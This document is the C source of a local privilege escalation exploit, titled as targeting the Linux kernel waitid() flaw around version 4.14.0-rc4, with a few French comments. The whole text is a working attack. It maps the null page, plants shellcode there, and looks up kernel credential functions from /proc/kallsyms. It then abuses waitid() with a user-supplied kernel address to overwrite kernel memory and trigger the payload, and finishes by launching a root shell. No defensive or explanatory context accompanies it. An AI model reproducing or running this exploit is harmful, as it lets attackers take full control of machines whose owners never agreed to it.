Linux Kernel 4.14.0-rc4+ waitid() Privilege Escalation

`#define _GNU_SOURCE  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
#include <sys/mman.h>  
#include <string.h>  
  
struct cred;  
struct task_struct;  
  
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));  
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));  
  
prepare_kernel_cred_t prepare_kernel_cred;  
commit_creds_t commit_creds;  
  
void get_shell() {  
char *argv[] = {"/bin/sh", NULL};  
  
if (getuid() == 0){  
printf("[+] Root shell success !! :)\n");  
execve("/bin/sh", argv, NULL);  
}  
printf("[-] failed to get root shell :(\n");  
}  
  
void get_root() {  
if (commit_creds && prepare_kernel_cred)  
commit_creds(prepare_kernel_cred(0));  
}  
  
unsigned long get_kernel_sym(char *name)  
{  
FILE *f;  
unsigned long addr;  
char dummy;  
char sname[256];  
int ret = 0;  
  
f = fopen("/proc/kallsyms", "r");  
if (f == NULL) {  
printf("[-] Failed to open /proc/kallsyms\n");  
exit(-1);  
}  
printf("[+] Find %s...\n", name);  
while(ret != EOF) {  
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);  
if (ret == 0) {  
fscanf(f, "%s\n", sname);  
continue;  
}  
if (!strcmp(name, sname)) {  
fclose(f);  
printf("[+] Found %s at %lx\n", name, addr);  
return addr;  
}  
}  
fclose(f);  
return 0;  
}  
  
int main(int ac, char **av)  
{  
if (ac != 2) {  
printf("./exploit kernel_offset\n");  
printf("exemple = 0xffffffff81f3f45a");  
return EXIT_FAILURE;  
}  
  
// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions  
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");  
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");  
// have_canfork_callback offset <= rendre dynamique aussi  
  
pid_t pid;  
/* siginfo_t info; */  
  
// 1 - Mapper la mmoire l'adresse 0x0000000000000000  
printf("[+] Try to allocat 0x00000000...\n");  
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){  
printf("[-] Failed to allocat 0x00000000\n");  
return -1;  
}  
printf("[+] Allocation success !\n");  
/* memset(0, 0xcc, 4096); */  
/*  
movq rax, 0xffffffff81f3f45a  
movq [rax], 0  
mov rax, 0x4242424242424242  
call rax  
xor rax, rax  
ret  
replace 0x4242424242424242 by get_root  
https://defuse.ca/online-x86-assembler.htm#disassembly  
*/  
unsigned char shellcode[] =   
{ 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };  
void **get_root_offset = rawmemchr(shellcode, 0x42);  
(*get_root_offset) = get_root;  
  
memcpy(0, shellcode, sizeof(shellcode));  
/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */  
  
if(-1 == (pid = fork())) {  
perror("fork()");  
return EXIT_FAILURE;  
}  
  
if(pid == 0) {  
_exit(0xDEADBEEF);  
perror("son");  
return EXIT_FAILURE;  
}  
  
siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);  
waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);  
  
// TRIGGER  
pid = fork();  
printf("fork_ret = %d\n", pid);   
if (pid > 0)  
get_shell();  
return EXIT_SUCCESS;  
}  
  
`